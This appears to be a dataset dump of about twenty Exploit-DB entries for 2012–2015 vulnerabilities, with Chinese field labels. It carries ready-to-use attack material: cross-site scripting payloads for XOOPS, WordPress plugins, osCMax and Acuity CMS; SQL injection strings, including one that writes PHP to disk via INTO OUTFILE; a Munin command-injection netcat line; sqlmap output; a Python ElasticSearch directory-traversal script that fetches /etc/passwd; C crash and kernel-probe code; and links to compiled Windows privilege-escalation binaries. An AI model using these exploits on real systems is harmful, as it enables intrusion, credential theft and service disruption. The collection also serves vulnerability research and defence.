QLWD/code_shield huggingface dataset:
标题: XOOPS 2.5.4 - '/tiny_mce/plugins/xoopsimagemanager/xoopsimagebrowser.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 37093 CVE: 2012-0984 类型: WEBAPPS 平台: PHP 发布日期: 2012-04-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/53143/info
 
XOOPS is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
 
XOOPS 2.5.4 is vulnerable; other versions may be affected. 

<form action="http://www.example.com/class/xoopseditor/tinymce/tinymce/jscripts/tiny_mce/plugins/xoop simagemanager/xoopsimagebrowser.php?target=1" method="post">
<input type="hidden" name="isadmin" value='1'>
<input type="hidden" name="catreadcount" value='1'>
<input type="hidden" name="catwritecount" value='1'>
<input type="hidden" name="current_file" value='"><script>alert(document.cookie);</script>'>
<input type="submit" value="submit" id="btn">
</form>

<form action="http://www.example.com/class/xoopseditor/tinymce/tinymce/jscripts/tiny_mce/plugins/xoop simagemanager/xoopsimagebrowser.php?target=1" method="post">
<input type="hidden" name="isadmin" value='1'>
<input type="hidden" name="catreadcount" value='1'>
<input type="hidden" name="catwritecount" value='1'>
<input type="hidden" name="imgcat_id" value='"><script>alert(document.cookie);</script>'>
<input type="hidden" name="op" value='editcat'>
<input type="submit" value="submit" id="btn">
</form>

<form action="http://www.example.com/class/xoopseditor/tinymce/tinymce/jscripts/tiny_mce/plugins/xoop simagemanager/xoopsimagebrowser.php" method="post">
<input type="hidden" name="isadmin" value='1'>
<input type="hidden" name="catreadcount" value='1'>
<input type="hidden" name="catwritecount" value='1'>
<input type="hidden" name="target" value='"><script>alert(document.cookie);</script>'>
<input type="submit" value="submit" id="btn">
</form> URL: https://www.exploit-db.com/exploits/37093
标题: TeamPass 2.1.5 - 'login' HTML Injection EDB-ID: 37087 CVE: 2012-2234 类型: WEBAPPS 平台: PHP 发布日期: 2012-04-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/53038/info

TeamPass is prone to an HTML-injection vulnerability because it fails to sanitize user-supplied input.

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and control how the site is rendered to the user; other attacks are also possible.

TeamPass 2.1.5 is vulnerable; other versions may also be affected.

POST /TeamPass/sources/users.queries.php HTTP/1.1
type=add_new_user&login=[XSS]&pw=testing2&email=test&admin=false&manager=true&read_only=false&personal_folder=false&new_folder_role_domain=false&domain=test&key=key URL: https://www.exploit-db.com/exploits/37087
标题: Acuity CMS 2.6.2 - 'Username' Cross-Site Scripting EDB-ID: 37091 CVE: 2012-4745 类型: WEBAPPS 平台: PHP 发布日期: 2012-04-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/53048/info


Acuity CMS is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Acuity CMS 2.6.2 is vulnerable; other versions may also be affected. 

http://www.example.com/admin/login.asp?UserName=";><script>prompt(/xss/)</script> URL: https://www.exploit-db.com/exploits/37091
标题: WordPress Plugin All-in-One Event Calendar 1.4 - 'agenda-widget.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 37078 CVE: 2012-1835 类型: WEBAPPS 平台: PHP 发布日期: 2012-04-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/52986/info
   
All-in-One Event Calendar plugin for WordPress is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
   
All-in-One Event Calendar 1.4 is vulnerable; other prior versions may also be affected. 

http://wp/wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widget-form.php?title[id]=%22 %3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

http://wp/wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widget.php?args[before_widget ]=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

http://wp/wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widget.php?title=%3Cscript%3E alert%28document.cookie%29;%3C/script%3E

http://wp/wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widget.php?title=1&before _title=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

http://wp/wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widget.php?title=1&after_ title=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E URL: https://www.exploit-db.com/exploits/37078
标题: WordPress Plugin All-in-One Event Calendar 1.4 - 'save_successful.php?msg' Cross-Site Scripting EDB-ID: 37077 CVE: 2012-1835 类型: WEBAPPS 平台: PHP 发布日期: 2012-04-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/52986/info
  
All-in-One Event Calendar plugin for WordPress is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
  
All-in-One Event Calendar 1.4 is vulnerable; other prior versions may also be affected. 

http://wp/wp-content/plugins/all-in-one-event-calendar/app/view/save_successful.php?msg=%3Cscript%3E alert%28document.cookie%29;%3C/script%3E URL: https://www.exploit-db.com/exploits/37077
标题: Munin 2.0~rc4-1 - Remote Command Injection EDB-ID: 37084 CVE: 2012-2104 类型: WEBAPPS 平台: CGI 发布日期: 2012-04-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/53032/info

Munin is prone to a remote command-injection vulnerability.

Attackers can exploit this issue to inject and execute arbitrary commands in the context of the application. 

printf 'GET /cgi-bin/munin-cgi-graph/%%0afoo%%0a/x/x-x.png HTTP/1.0\r\nHost: localhost\r\nConnection: close\r\n\r\n' | nc localhost 80 URL: https://www.exploit-db.com/exploits/37084
标题: WordPress Plugin All-in-One Event Calendar 1.4 - 'box_publish_button.php?button_value' Cross-Site Scripting EDB-ID: 37076 CVE: 2012-1835 类型: WEBAPPS 平台: PHP 发布日期: 2012-04-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/52986/info
 
All-in-One Event Calendar plugin for WordPress is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
 
All-in-One Event Calendar 1.4 is vulnerable; other prior versions may also be affected. 

http://wp/wp-content/plugins/all-in-one-event-calendar/app/view/box_publish_button.php?button_value= %22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E URL: https://www.exploit-db.com/exploits/37076
标题: WordPress Plugin FeedWordPress 2015.0426 - SQL Injection EDB-ID: 37067 CVE: 2015-4018 类型: WEBAPPS 平台: PHP 发布日期: 2015-05-20 漏洞利用脚本: # Exploit Title: SQLi in FeedWordPress WordPress plugin
# Date: 2015-05-19
# Exploit Author: Adrián M. F.
# Vendor Homepage: https://wordpress.org/plugins/feedwordpress/
# Vulnerable version: 2015.0426
# Fixed version: 2015.0514
# CVE : CVE-2015-4018


(1) Authenticated SQLi [CWE-89]
-------------------------------

* CODE:
feedwordpresssyndicationpage.class.php:89
+++++++++++++++++++++++++++++++++++++++++
$targets = $wpdb->get_results("
    SELECT * FROM $wpdb->links
    WHERE link_id IN (".implode(",",$_POST['link_ids']).")
");
+++++++++++++++++++++++++++++++++++++++++
http://192.168.167.131/wordpress/wp-admin/admin.php?page=feedwordpress/syndication.php
POST DATA: _wpnonce=a909681945&_wp_http_referer=/wordpress/wp-admin/admin.php?page=feedwordpress/syndication.php&action=Update Checked&link_ids[]=1[SQLi]

* POC:
SQLMap
+++++++++++++++++++++++++++++++++++++++++
./sqlmap.py -u "http://[domain]/wp-admin/admin.php?page=feedwordpress%2Fsyndication.php&visibility=Y" --data="_wpnonce=a909681945&_wp_http_referer=/wordpress/wp-admin/admin.php?page=feedwordpress/syndication.php&action=Update Checked&link_ids[]=1" -p "link_ids[]" --dbms mysql --cookie="[cookie]"
[............]
POST parameter 'link_ids[]' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
sqlmap identified the following injection points with a total of 62 HTTP(s) requests:
---
Parameter: link_ids[] (POST)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: _wpnonce=a909681945&_wp_http_referer=/wordpress/wp-admin/admin.php?page=feedwordpress/syndication.php&action=Update Checked&link_ids[]=1) AND (SELECT * FROM (SELECT(SLEEP(5)))eHWc) AND (7794=7794

    Type: UNION query
    Title: Generic UNION query (NULL) - 13 columns
    Payload: _wpnonce=a909681945&_wp_http_referer=/wordpress/wp-admin/admin.php?page=feedwordpress/syndication.php&action=Update Checked&link_ids[]=1) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a6b6a71,0x70716153577975544373,0x7178716271)-- 
---
[10:40:14] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 7.0 (wheezy)
web application technology: Apache 2.2.22, PHP 5.4.39
back-end DBMS: MySQL 5.0.12
+++++++++++++++++++++++++++++++++++++++++

Timeline
========
2015-05-09: Discovered vulnerability.
2015-05-14: Vendor notification.
2015-05-14: Vendor response and fix.
2015-05-19: Public disclosure. URL: https://www.exploit-db.com/exploits/37067
标题: Comodo GeekBuddy < 4.18.121 - Local Privilege Escalation EDB-ID: 37065 CVE: 2014-7872 类型: LOCAL 平台: WINDOWS 发布日期: 2015-05-20 漏洞利用脚本: Comodo GeekBuddy Local Privilege Escalation (CVE-2014-7872)

Jeremy Brown [jbrown3264/gmail]

-Synopsis-

Comodo GeekBuddy, which is bundled with Comodo Anti-Virus, Comodo Firewall
and Comodo Internet Security, runs a passwordless, background VNC server
and listens for incoming connections. This can allow for at least local
privilege escalation on several platforms. It also may be remotely
exploitable via CSRF-like attacks utilizing a modified web-based VNC client
(eg. a Java VNC client).

-Repro-

1) Install GeekBuddy (either standalone or bundled with the aforementioned
packages)
2) Administrator (or other user) logs into the system so the VNC server
will be started
3) Start another login to the system (eg. target OS is Windows Server)
4) Connect to the VNC server on localhost to assume the Admin session

-Fix-

Comodo says they have fix this vulnerability with the v4.18.121 release in
October 2014

-References-

https://technet.microsoft.com/en-US/dn613815
http://archive.hack.lu/2014/Microsoft%20Vulnerability%20Research%20-%20How%20to%20be%20a%20Finder%20as%20a%20Vendor.pdf URL: https://www.exploit-db.com/exploits/37065
标题: WordPress Plugin All-in-One Event Calendar 1.4 - 'agenda-widget-form.php?title' Cross-Site Scripting EDB-ID: 37075 CVE: 2012-1835 类型: WEBAPPS 平台: PHP 发布日期: 2012-04-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/52986/info

All-in-One Event Calendar plugin for WordPress is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

All-in-One Event Calendar 1.4 is vulnerable; other prior versions may also be affected. 

http://wp/wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widget-form.php?title[id]=%22 %3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E URL: https://www.exploit-db.com/exploits/37075
标题: vBulletin 4.1.10 - 'announcementid' SQL Injection EDB-ID: 37062 CVE: 2012-4686 类型: WEBAPPS 平台: PHP 发布日期: 2012-04-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/52897/info

VBulletin is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

VBulletin 4.1.10 is vulnerable; other versions may also be affected. 

http://www.example.com/announcement.php?a=&announcementid=[Sql] URL: https://www.exploit-db.com/exploits/37062
标题: Microsoft Windows - Local Privilege Escalation (MS15-051) EDB-ID: 37049 CVE: 2015-1701 2015-1680 2015-1679 2015-1678 2015-1677 2015-1676 类型: LOCAL 平台: WINDOWS 发布日期: 2015-05-18 漏洞利用脚本: # Source: https://github.com/hfiref0x/CVE-2015-1701

Win32k LPE vulnerability used in APT attack

Original info: https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html

Credits
R136a1 / hfiref0x



## Compiled EXE:
### x86
+ https://github.com/hfiref0x/CVE-2015-1701/raw/master/Compiled/Taihou32.exe
+ Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37049-32.exe
### x64 
+ https://github.com/hfiref0x/CVE-2015-1701/raw/master/Compiled/Taihou64.exe
+ Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37049-64.exe

## Source Code: 
+ https://github.com/hfiref0x/CVE-2015-1701/archive/master.zip
+ EDB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37049-src.zip URL: https://www.exploit-db.com/exploits/37049
标题: osCMax 2.5 - '/admin/new_attributes_include.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 37046 CVE: 2012-1664 类型: WEBAPPS 平台: PHP 发布日期: 2012-04-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/52886/info
        
osCMax is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
        
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
        
osCMax 2.5.0 is vulnerable; prior versions may also be affected. 

http://www.example.com/admin/new_attributes_include.php?pageTitle=%3Cscript%3Ealert%28document.cookie%29;%3C/ script%3E URL: https://www.exploit-db.com/exploits/37046
标题: osCMax 2.5 - '/admin/stats_monthly_sales.php?status' SQL Injection EDB-ID: 37048 CVE: 2012-1665 类型: WEBAPPS 平台: PHP 发布日期: 2012-04-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/52886/info
          
osCMax is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
          
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
          
osCMax 2.5.0 is vulnerable; prior versions may also be affected. 

http://www.example.com/admin/stats_monthly_sales.php?status=0 union select '<? php_code ?>' INTO OUTFILE '../../../path/to/site/file.php' URL: https://www.exploit-db.com/exploits/37048
标题: osCMax 2.5 - '/admin/login.php?Username' SQL Injection EDB-ID: 37047 CVE: 2012-1665 类型: WEBAPPS 平台: PHP 发布日期: 2012-04-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/52886/info
         
osCMax is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
         
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
         
osCMax 2.5.0 is vulnerable; prior versions may also be affected. 

<form action="http://www.example.com/admin/login.php?action=process" method="post" name="main" id="main">
<input type="hidden" name="username" value="',1,2,(select min(@a:=1)from (select 1 union select 2)k group by (select concat(@@version,0x0,@a:=(@a+1)%2)))) -- 2">
<input type="hidden" name="password" value="">
<input type="submit" name="submit" value="Send">
</form> URL: https://www.exploit-db.com/exploits/37047
标题: QEMU - Floppy Disk Controller (FDC) (PoC) EDB-ID: 37053 CVE: 2015-3456 类型: DOS 平台: MULTIPLE 发布日期: 2015-05-18 漏洞利用脚本: // Source: https://marc.info/?l=oss-security&m=143155206320935&w=2

#include <sys/io.h>

#define FIFO 0x3f5

int main() {
        int i;
        iopl(3);

        outb(0x0a,0x3f5); /* READ ID */
        for (i=0;i<10000000;i++)
                outb(0x42,0x3f5); /* push */
} URL: https://www.exploit-db.com/exploits/37053
标题: Microsoft Windows - 'CNG.SYS' Kernel Security Feature Bypass (MS15-052) EDB-ID: 37052 CVE: 2015-1674 类型: LOCAL 平台: WINDOWS 发布日期: 2015-05-18 漏洞利用脚本: // Source: http://www.binvul.com/viewthread.php?tid=508
// Source: https://twitter.com/NTarakanov/status/598370525132423168


#include <windows.h>
#include <winternl.h>
#include <stdio.h>
#pragma  comment(lib, "ntdll.lib")



int main(int argc, CHAR* argv[]) {
        typedef NTSTATUS  (__stdcall *NT_OPEN_FILE)(OUT PHANDLE FileHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG ShareAccess, IN ULONG OpenOptions);
        NT_OPEN_FILE NtOpenFileStruct;

        PVOID Info;
        HMODULE hModule = LoadLibrary(("ntdll.dll"));
        NtOpenFileStruct = (NT_OPEN_FILE)GetProcAddress(hModule, "NtOpenFile");
        if(NtOpenFileStruct == NULL) {
                exit(-1);
        }
        


        UNICODE_STRING filename;
        RtlInitUnicodeString(&filename, L"\\Device\\CNG");

        
        OBJECT_ATTRIBUTES obja;
        obja.Attributes        =        0x40;
        obja.ObjectName =   &filename;
        obja.Length                =        0x18;
        obja.RootDirectory        =        NULL;
        obja.SecurityDescriptor        =        NULL;
        obja.SecurityQualityOfService        =        NULL;
        
        IO_STATUS_BLOCK iostatusblock;
        HANDLE hCNG   = NULL;
        NTSTATUS stat = NtOpenFileStruct(&hCNG, 0x100001, &obja, &iostatusblock, 7, 0x20);
        if(NT_SUCCESS(stat)) {
                printf("File successfully opened.\n");
        }
        else {
                printf("File could not be opened.\n");
                return -1;
        }
        DWORD dwBuffer = 0;
        DWORD dwCnt           = 0;
        BOOL  bRet = DeviceIoControl((HANDLE)hCNG, 0x390048, &dwBuffer, 4, &dwBuffer, 4, &dwCnt, NULL);
        if (FALSE == bRet)
        {
                printf("[*]Send IOCTL fail!\n");
                printf("[*]Error Code:%d\n", GetLastError());
        }
        else
        {
                printf("[*]0x%08x\n", dwBuffer);        
        }
        CloseHandle(hCNG);
        getchar();
        return 0;
} URL: https://www.exploit-db.com/exploits/37052
标题: ElasticSearch < 1.4.5 / < 1.5.2 - Directory Traversal EDB-ID: 37054 CVE: 2015-3337 类型: WEBAPPS 平台: PHP 发布日期: 2015-05-18 漏洞利用脚本: #!/usr/bin/python
# Crappy PoC for CVE-2015-3337 - Reported by John Heasman of DocuSign
# Affects all ElasticSearch versions prior to 1.5.2 and 1.4.5
# Pedro Andujar || twitter: pandujar || email: @segfault.es || @digitalsec.net
# Tested on default Linux (.deb) install /usr/share/elasticsearch/plugins/
#
# Source: https://github.com/pandujar/elasticpwn/

import socket, sys

print "!dSR ElasticPwn - for CVE-2015-3337\n"
if len(sys.argv) <> 3:
        print "Ex: %s www.example.com /etc/passwd" % sys.argv[0]
        sys.exit()

port = 9200 # Default ES http port
host = sys.argv[1]
fpath = sys.argv[2]

def grab(plugin):
  socket.setdefaulttimeout(3)
  s = socket.socket()
  s.connect((host,port))
  s.send("GET /_plugin/%s/../../../../../..%s HTTP/1.0\n"
   "Host: %s\n\n" % (plugin, fpath, host))
  file = s.recv(2048)
  print " [*] Trying to retrieve %s:" % fpath
  if ("HTTP/1.0 200 OK" in file):
   print "\n%s" % file
  else:
      print "[-] File Not Found, No Access Rights or System Not Vulnerable"

def pfind(plugin):
 try:
  socket.setdefaulttimeout(3)
  s = socket.socket()
  s.connect((host,port))
  s.send("GET /_plugin/%s/ HTTP/1.0\n"
   "Host: %s\n\n" % (plugin, host))
  file = s.recv(16)
  print "[*] Trying to find plugin %s:" % plugin
  if ("HTTP/1.0 200 OK" in file):
   print "[+] Plugin found!"
   grab(plugin)
   sys.exit()
  else:
      print "[-]  Not Found "
 except Exception, e:
  print "[-] Error connecting to %s: %s" % (host, e)
  sys.exit()

# Include more plugin names to check if they are installed
pluginList = ['test','kopf', 'HQ', 'marvel', 'bigdesk', 'head']

for plugin in pluginList:
 pfind(plugin) URL: https://www.exploit-db.com/exploits/37054
标题: osCMax 2.5 - '/admin/information_manager.php?information_id' Cross-Site Scripting EDB-ID: 37044 CVE: 2012-1664 类型: WEBAPPS 平台: PHP 发布日期: 2012-04-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/52886/info
      
osCMax is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
      
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
      
osCMax 2.5.0 is vulnerable; prior versions may also be affected. 

http://www.example.com/admin/information_manager.php?information_action=Edit&information_id=%3Cscript%3Ea lert%28document.cookie%29;%3C/script%3E URL: https://www.exploit-db.com/exploits/37044
标题: osCMax 2.5 - '/admin/stats_products_purchased.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 37041 CVE: 2012-1664 类型: WEBAPPS 平台: PHP 发布日期: 2012-04-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/52886/info
   
osCMax is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
   
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
   
osCMax 2.5.0 is vulnerable; prior versions may also be affected. 

http://www.example.com/admin/stats_products_purchased.php?gross=%22%20%3E%3Cscript%3Ealert%28document.cookie% 29;%3C/script%3E
http://www.example.com/admin/stats_products_purchased.php?max=%27%3Cscript%3Ealert%28document.cookie%29;%3C/s cript%3E URL: https://www.exploit-db.com/exploits/37041
标题: osCMax 2.5 - '/admin/geo_zones.php?zID' Cross-Site Scripting EDB-ID: 37045 CVE: 2012-1664 类型: WEBAPPS 平台: PHP 发布日期: 2012-04-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/52886/info
       
osCMax is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
       
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
       
osCMax 2.5.0 is vulnerable; prior versions may also be affected. 

http://www.example.com/admin/geo_zones.php?action=list&zID=%27%3Cscript%3Ealert%28document.cookie%29;%3C/ script%3E URL: https://www.exploit-db.com/exploits/37045